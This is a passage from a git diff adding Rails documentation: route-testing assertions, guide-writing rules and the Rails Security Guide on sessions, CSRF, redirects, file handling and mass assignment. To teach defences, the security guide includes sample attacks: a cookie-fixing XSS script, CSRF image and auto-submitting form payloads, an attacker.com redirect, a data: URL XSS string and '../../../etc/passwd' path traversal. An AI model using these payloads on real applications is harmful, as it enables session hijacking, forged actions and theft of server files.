+* The routing parameters for the route
+
+For example, here's a small section of the +rake routes+ output for a RESTful route:
+
+<pre>
+    users GET    /users(.:format)          users#index
+          POST   /users(.:format)          users#create
+ new_user GET    /users/new(.:format)      users#new
+edit_user GET    /users/:id/edit(.:format) users#edit
+</pre>
+
+You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable:
+
+<shell>
+$ CONTROLLER=users rake routes
+</shell>
+
+TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
+
+h4. Testing Routes
+
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html designed to make testing routes simpler:
+
+* +assert_generates+
+* +assert_recognizes+
+* +assert_routing+
+
+h5. The +assert_generates+ Assertion
+
++assert_generates+ asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.
+
+<ruby>
+assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
+assert_generates "/about", :controller => "pages", :action => "about"
+</ruby>
+
+h5. The +assert_recognizes+ Assertion
+
++assert_recognizes+ is the inverse of +assert_generates+. It asserts that a given path is recognized and routes it to a particular spot in your application.
+
+<ruby>
+assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
+</ruby>
+
+You can supply a +:method+ argument to specify the HTTP verb:
+
+<ruby>
+assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
+</ruby>
+
+h5. The +assert_routing+ Assertion
+
+The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
+
+<ruby>
+assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
+</ruby>
diff --git a/guides/source/ruby_on_rails_guides_guidelines.textile b/guides/source/ruby_on_rails_guides_guidelines.textile
new file mode 100644
index 0000000000..dd209b61d6
--- /dev/null
+++ b/guides/source/ruby_on_rails_guides_guidelines.textile
@@ -0,0 +1,104 @@
+h2. Ruby on Rails Guides Guidelines
+
+This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
+
+endprologue.
+
+h3. Textile
+
+Guides are written in "Textile":http://www.textism.com/tools/textile/. There is comprehensive "documentation":http://redcloth.org/hobix.com/textile/ and a "cheatsheet":http://redcloth.org/hobix.com/textile/quick.html for markup.
+
+h3. Prologue
+
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the "Routing Guide":routing.html.
+
+h3. Titles
+
+The title of every guide uses +h2+; guide sections use +h3+; subsections +h4+; etc.
+
+Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
+
+<plain>
+h5. Middleware Stack is an Array
+h5. When are Objects Saved?
+</plain>
+
+Use the same typography as in regular text:
+
+<plain>
+h6. The <tt>:content_type</tt> Option
+</plain>
+
+h3. API Documentation Guidelines
+
+The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the "API Documentation Guidelines":api_documentation_guidelines.html:
+
+* "Wording":api_documentation_guidelines.html#wording
+* "Example Code":api_documentation_guidelines.html#example-code
+* "Filenames":api_documentation_guidelines.html#filenames
+* "Fonts":api_documentation_guidelines.html#fonts
+
+Those guidelines apply also to guides.
+
+h3. HTML Guides
+
+h4. Generation
+
+To generate all the guides, just +cd+ into the *+guides+* directory and execute:
+
+<plain>
+bundle exec rake guides:generate
+</plain>
+
+or
+
+<plain>
+bundle exec rake guides:generate:html
+</plain>
+
+(You may need to run +bundle install+ first to install the required gems.)
+
+To process +my_guide.textile+ and nothing else use the +ONLY+ environment variable:
+
+<plain>
+touch my_guide.textile
+bundle exec rake guides:generate ONLY=my_guide
+</plain>
+
+By default, guides that have not been modified are not processed, so +ONLY+ is rarely needed in practice.
+
+To force processing all the guides, pass +ALL=1+.
+
+It is also recommended that you work with +WARNINGS=1+. This detects duplicate IDs and warns about broken internal links.
+
+If you want to generate guides in a language other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable:
+
+<plain>
+bundle exec rake guides:generate GUIDES_LANGUAGE=es
+</plain>
+
+If you want to see all the environment variables you can use to configure the generation script just run:
+
+<plain>
+rake
+</plain>
+
+h4. Validation
+
+Please validate the generated HTML with:
+
+<plain>
+bundle exec rake guides:validate
+</plain>
+
+Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a solution.
+
+h3. Kindle Guides
+
+h4(#generation-kindle). Generation
+
+To generate guides for the Kindle, use the following rake task:
+
+<plain>
+bundle exec rake guides:generate:kindle
+</plain>
diff --git a/guides/source/security.textile b/guides/source/security.textile
new file mode 100644
index 0000000000..49e5da6bb7
--- /dev/null
+++ b/guides/source/security.textile
@@ -0,0 +1,1031 @@
+h2. Ruby On Rails Security Guide
+
+This manual describes common security problems in web applications and how to avoid them with Rails. After reading it, you should be familiar with:
+
+* All countermeasures _(highlight)that are highlighted_
+* The concept of sessions in Rails, what to put in there and popular attack methods
+* How just visiting a site can be a security problem (with CSRF)
+* What you have to pay attention to when working with files or providing an administration interface
+* The Rails-specific mass assignment problem
+* How to manage users: Logging in and out and attack methods on all layers
+* And the most popular injection attack methods
+
+endprologue.
+
+h3. Introduction
+
+Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
+
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+
+The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
+
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
+
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
+
+h3. Sessions
+
+A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+
+h4. What are Sessions?
+
+NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
+
+Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+
+A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
+
+<ruby>
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+</ruby>
+
+h4. Session id
+
+NOTE: _The session id is a 32 byte long MD5 hash value._
+
+A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
+
+h4. Session Hijacking
+
+WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._
+
+Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
+
+Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+
+<ruby>
+config.force_ssl = true
+</ruby>
+
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
+
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
+
+h4. Session Guidelines
+
+Here are some general guidelines on sessions.
+
+* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+
+* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+
+h4. Session Storage
+
+NOTE: _Rails provides several storage mechanisms for the session hashes. The most important are +ActiveRecord::SessionStore+ and +ActionDispatch::Session::CookieStore+._
+
+There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
+
+Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
+
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
+
+<ruby>
+config.action_dispatch.session = {
+  :key    => '_app_session',
+  :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
+}
+</ruby>
+
+There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
+
+h4. Replay Attacks for CookieStore Sessions
+
+TIP: _Another sort of attack you have to be aware of when using +CookieStore+ is the replay attack._
+
+It works like this:
+
+* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
+* The user buys something.
+* His new, lower credit will be stored in the session.
+* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+* The user has his credit back.
+
+Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
+
+The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
+
+h4. Session Fixation
+
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+
+!images/session_fixation.png(Session fixation)!
+
+This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
+
+# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
+# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+# As the new trap session is unused, the web application will require the user to authenticate.
+# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+
+h4. Session Fixation – Countermeasures
+
+TIP: _One line of code will protect you from session fixation._
+
+The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+
+<ruby>
+reset_session
+</ruby>
+
+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
+
+Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
+
+h4. Session Expiry
+
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
+
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
+
+<ruby>
+class Session < ActiveRecord::Base
+  def self.sweep(time = 1.hour)
+    if time.is_a?(String)
+      time = time.split.inject { |count, unit| count.to_i.send(unit) }
+    end
+
+    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+  end
+end
+</ruby>
+
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+
+<ruby>
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+</ruby>
+
+h3. Cross-Site Request Forgery (CSRF)
+
+This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
+
+!images/csrf.png!
+
+In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+* +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
+* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
+
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
+
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
+
+h4. CSRF Countermeasures
+
+NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
+
+The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+
+*Use GET if:*
+
+* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
+
+*Use POST if:*
+
+* The interaction is more _(highlight)like an order_, or
+* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _(highlight)held accountable for the results_ of the interaction.
+
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
+
+_(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+
+<html>
+<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+</html>
+
+Or the attacker places the code into the onmouseover event handler of an image:
+
+<html>
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+</html>
+
+There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+
+<ruby>
+protect_from_forgery :secret => "123456789012345678901234567890..."
+</ruby>
+
+This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. *Note:* In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error.
+
+It is common to use persistent cookies to store user information, with +cookies.permanent+ for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
+
+<ruby>
+def handle_unverified_request
+  super
+  sign_out_user # Example method that will destroy the user cookies.
+end
+</ruby>
+
+The above method can be placed in the +ApplicationController+ and will be called when a CSRF token is not present on a non-GET request.
+
+Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+h3. Redirection and Files
+
+Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
+
+h4. Redirection
+
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+
+Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
+
+<ruby>
+def legacy
+  redirect_to(params.update(:action=>'main'))
+end
+</ruby>
+
+This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
+
+<plain>
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+</plain>
+
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
+
+h5. Self-contained XSS
+
+Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
+
++data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
+
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
+
+h4. File Uploads
+
+NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
+
+Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+
+When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master:
+
+<ruby>
+def sanitize_filename(filename)
+  filename.strip.tap do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.sub! /\A.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+</ruby>
+
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+
+The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+
+h4. Executable Code in File Uploads
+
+WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
+
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
+
+_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+
+h4. File Downloads
+
+NOTE: _Make sure users cannot download arbitrary files._
+
+Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
+
+<ruby>
+send_file('/var/www/uploads/' + params[:filename])
+</ruby>
+
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
+
+<ruby>
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, :disposition => 'inline'
+</ruby>
+
+Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
+
+h3. Intranet and Admin Security
+
+Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
+
+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+
+*XSS*  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
+Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
+
+*CSRF*  Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
+A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+
+Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
+For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
+
+h4. Additional Precautions
+
+The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
+
+* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+
+h3. Mass Assignment
+
+WARNING: _Without any precautions +Model.new(params[:model]+) allows attackers to set any database column's value._
+
+The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
+
+<ruby>
+def signup
+  params[:user] # => {:name => “ow3ned”, :admin => true}
+  @user = User.new(params[:user])
+end
+</ruby>
+
+Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the +new+ method, or +assign_attributes=+ a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
+
+<pre>
+http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
+</pre>
+
+This will set the following parameters in the controller:
+
+<ruby>
+params[:user] # => {:name => “ow3ned”, :admin => true}
+</ruby>
+
+So if you create a new user using mass-assignment, it may be too easy to become an administrator.
+
+Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example:
+
+<ruby>
+  class Person < ActiveRecord::Base
+    has_many :children
+
+    accepts_nested_attributes_for :children
+  end
+
+  class Child < ActiveRecord::Base
+    belongs_to :person
+  end
+</ruby>
+
+As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
+
+h4. Countermeasures
+
+To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
+
+<ruby>
+attr_protected :admin
+</ruby>
+
++attr_protected+ also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.
+
+<ruby>
+attr_protected :last_login, :as => :admin
+</ruby>
+
+A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
+
+<ruby>
+attr_accessible :name
+attr_accessible :name, :is_admin, :as => :admin
+</ruby>
+
+If you want to set a protected attribute, you will to have to assign it individually:
+
+<ruby>
+params[:user] # => {:name => "ow3ned", :admin => true}
+@user = User.new(params[:user])
+@user.admin # => false # not mass-assigned
+@user.admin = true
+@user.admin # => true
+</ruby>
+
+When assigning attributes in Active Record using +attributes=+ the :default role will be used. To assign attributes using different roles you should use +assign_attributes+ which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the +:without_protection+ option. Here is an example:
+
+<ruby>
+@user = User.new
+
+@user.assign_attributes({ :name => 'Josh', :is_admin => true })
+@user.name # => Josh
+@user.is_admin # => false
+
+@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
+@user.name # => Josh
+@user.is_admin # => true
+
+@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
+@user.name # => Josh
+@user.is_admin # => true
+</ruby>
+
